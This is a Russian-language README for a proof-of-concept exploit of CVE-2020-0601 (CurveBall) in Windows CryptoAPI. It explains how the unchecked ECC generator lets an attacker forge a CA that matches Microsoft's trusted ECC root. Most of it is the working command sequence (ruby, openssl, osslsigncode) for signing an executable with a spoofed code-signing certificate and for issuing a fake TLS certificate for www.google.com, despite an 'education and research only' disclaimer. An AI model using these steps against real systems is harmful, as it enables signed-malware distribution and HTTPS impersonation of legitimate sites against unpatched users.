
PoC для CVE-2020-0601 - Windows CryptoAPI (Crypt32.dll)
CVE-2020-0601, также известная как CurveBall, — это уязвимость, при которой подпись сертификатов, использующих криптографию на эллиптических кривых (ECC), проверяется некорректно.
ECC опирается на различные параметры. Эти параметры стандартизированы для многих кривых. Однако Microsoft не проверяла все эти параметры. Параметр G (генератор) не проверялся, поэтому злоумышленник может подставить собственный генератор. Когда Microsoft пытается проверить сертификат относительно доверенного ЦС, она ищет только совпадающие открытые ключи, а затем использует генератор из сертификата. NSA объясняет влияние этой уязвимости и многое другое здесь.
MicrosoftECCProductRootCertificateAuthority.cer по умолчанию является доверенным корневым центром сертификации (ЦС), использующим ECC, в Windows 10. Поэтому всё, что подписано этим сертификатом, автоматически считается доверенным.
Минимальные требования
openssl 1.1.0
ruby 2.4.0
Если вас интересуют математические детали уязвимости, пожалуйста, читайте подробнее здесь.
Чтобы подделать сертификат, мы задаём следующие параметры:
d' = 1
G' = Q
Таким образом, Q = Q' = d'G'.
Создайте сертификат с тем же открытым ключом и параметрами, что и у доверенного ЦС. Он будет использоваться как наш поддельный ЦС. Установите генератор в значение, для которого вы знаете закрытый ключ. Вы можете просто установить генератор равным открытому ключу и задать закрытый ключ равным 1, поскольку Q = dG.
Затем вы создаёте запрос на подпись сертификата с нужными вам расширениями, например, для подписи кода или аутентификации сервера.
Подпишите этот запрос на сертификат вашим поддельным ЦС и ключом ЦС, а затем добавьте расширения использования.
Объедините подписанный запрос на сертификат (теперь это обычный сертификат) с поддельным ЦС, и вы получите подписанный и доверенный сертификат.
Когда Windows проверяет, является ли сертификат доверенным, она видит, что он подписан нашим поддельным ЦС. Затем она сравнивает открытый ключ поддельного ЦС с доверенными ЦС. После этого она просто проверяет подпись нашего поддельного ЦС с помощью генератора поддельного ЦС — в этом и заключается проблема.
Если вы откроете ваш недавно подписанный доверенный сертификат в Windows, он не будет распознан как доверенный, поскольку он ни с чем не связан, и поэтому Windows не будет использовать поддельный ЦС. Сертификат всегда должен предоставляться вместе с поддельным ЦС.
Пожалуйста, используйте это только в образовательных и исследовательских целях.
Извлеките открытый ключ из ЦС и измените его в соответствии с уязвимостью:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Создайте новый сертификат x509 на основе этого ключа. Это будет наш собственный поддельный ЦС.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
Создайте новый ключ. Этот ключ может быть любого типа. Он будет использоваться для создания сертификата подписи кода, который мы подпишем нашим собственным ЦС.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Далее создайте новый запрос на подпись сертификата (CSR). Обычно такой запрос отправляется доверенным ЦС, но поскольку у нас есть поддельный, мы можем подписать его сами.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
Подпишите ваш новый CSR с помощью нашего поддельного ЦС и ключа ЦС. Этот сертификат истечёт в 2047 году, тогда как настоящий доверенный ЦС Microsoft истечёт в 2043 году.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
Осталось только упаковать сертификат, его ключ и поддельный ЦС в файл PKCS12 для подписи исполняемых файлов.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
Подпишите ваш исполняемый файл с помощью файла PKCS12.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
Пожалуйста, используйте это только в образовательных и исследовательских целях. Извлеките открытый ключ из ЦС и измените его в соответствии с уязвимостью:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Создайте новый сертификат x509 на основе этого ключа. Это будет наш собственный поддельный ЦС.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
Создайте новый ключ. Этот ключ может быть любого типа. Он будет использоваться для создания SSL-сертификата, который мы подпишем нашим собственным ЦС.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Далее создайте новый запрос на подпись сертификата (CSR). Обычно такой запрос отправляется доверенным ЦС, но поскольку у нас есть поддельный, мы можем подписать его сами.
Если вы хотите изменить доменное имя, измените CN = www.google.com на CN = www.example.com внутри openssl_tls.conf.
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
Подпишите ваш новый CSR с помощью нашего поддельного ЦС и ключа ЦС. Этот сертификат истечёт в 2047 году, тогда как настоящий доверенный ЦС Microsoft истечёт в 2043 году.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
Теперь вы можете использовать cert.crt, cert.key и spoofed_ca.crt для обслуживания вашего контента. Не забудьте добавить spoofed_ca.crt в качестве цепочки сертификатов в конфигурации HTTPS вашего сервера.
Пример использования см. в tls/index.js.